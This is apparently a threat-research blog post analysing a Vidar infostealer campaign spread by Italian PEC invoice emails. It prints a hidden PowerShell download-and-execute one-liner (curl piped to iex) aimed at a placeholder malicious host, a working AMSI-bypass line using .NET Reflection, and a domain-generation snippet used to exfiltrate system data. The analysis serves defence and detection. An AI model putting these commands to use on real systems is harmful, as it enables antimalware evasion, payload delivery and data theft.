The New Vidar Campaign: Malicious PEC Emails Targeting Companies Unveiled

Author: RevR4s

Víðarr (Vidar), divinità della mitologia norrena

Summary

A new malicious campaign linked to the Vidar malware was identified, targeting several companies.

The Routes of Infection

In this attack, the threat actor uses a deceptive PEC (Certified Email) to lure the victim into downloading and executing malicious code, triggering the malware’s compromise chain.

The PEC email includes a malicious link disguised as a helpful resource to download an allegedly unpaid invoice. The link provided in the email is: hxxps://<alphanum_string>[.]luxureglass[.]com/<alphanum_string>.

Clicking the link downloads a JavaScript file named Fattura63850271.js, which is saved to disk.

A double-click on the malicious file initiates the compromise chain.

Vidar Stealer Behavior Analysis

1. Loader — Fattura63850271.js

The file Fattura63850271.js is designed to execute the following command:

powershell -noprofile -executionpolicy bypass -WindowStyle hidden -c "curl -useb hxxp://<malicious_domain>/1.php?s=mints13" | iex

• powershell -noprofile -executionpolicy bypass -WindowStyle hidden -c: Runs a PowerShell command without loading user profiles, bypassing execution policy restrictions, and hiding the window to execute scripts silently.
• curl -useb <url>: Downloads content from the specified URL.
• | iex: alias for Invoke-Expression .

The payload, identified during analysis as payload_1, is executed in-memory to carry out its malicious functions. After completing its task, the Fattura63850271.js script deletes itself from the system, erasing evidence of its presence.

2. Loader — payload_1

The malicious code downloaded and executed via the previous command has two primary objectives:

1. Bypassing the Antimalware system on the machine.
2. Decoding and executing additional malicious code.

The Antimalware bypass employs a technique known as **AMSI Bypass, leveraging .NET Reflection** to modify the private variable amsiInitFailed within the AmsiUtils class.

The amsiInitFailed variable is a key parameter used by AMSI (Antimalware Scan Interface) to determine whether content should be scanned. Forcing this variable to true effectively disables the scan, allowing the malware to evade security mechanisms.

The PowerShell command used to exploit this vulnerability is as follows:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic','Static').SetValue($null, $true)

This technique is mapped in the Mitre ATT&CK Framework as Impair Defenses: Disable or Modify Tools T1562.001.

After evading the security checks, the PowerShell code processes a lengthy ASCII string that encodes further malicious instructions, designated as payload_2 for the purpose of technical analysis.

3. Loader — payload_2

The malicious code is designed to collect information from the victim system and exfiltrate it via an HTTP request to a malicious domain controlled by the attacker.

The malware collects system-specific information, including whether the machine is a virtual machine, the DAC chip name of the connected display, cache memory details, and the system’s hostname.

The malicious domain to which the collected data is sent is dynamically generated using the .NET System.Random class. This class enables the creation of pseudorandom number sequences, which can be reproduced if the same seed is used during initialization.

This ensures that the generated domain remains consistent across each execution of the malware.

Below is the code snippet responsible for generating the malicious domain:

$rand_obj = New-Object System.Random(<random_numbers>);
for ($i = 0; $i -lt 15; $i++) {
    $domain += "abcdefghijklmn"[$rand_obj.Next(0, 14)];
}
$top_domain = $domain + ".top";

After generating the domain, the code performs an HTTP GET request to send the collected data to the malicious domain and executes the response code received.

4. Final Stage

At the time of analysis, no responses were received from the compromised system following the requests sent from payload_2. This lack of response is primarily attributed to the short lifespan typically associated with malicious infrastructures. Two main factors contribute to this behavior:

• Service provider intervention: Hosting providers often detect suspicious or malicious activities on their infrastructure and promptly take action to shut it down. This commonly occurs when abnormal behaviors, such as requests originating from compromised devices, are identified.
• Short operational periods and frequent address changes: Threat actors orchestrating such attacks typically keep their domains and infrastructure active for very brief periods. Additionally, they frequently change addresses to minimize the risk of detection or interception by security defenses. This strategy makes it challenging for investigators to track the movements of malicious infrastructure.

Despite the absence of responses from the malicious domain, there is high confidence that the response code intended for the compromised system would have been an executable linked to the InfoStealer Vidar.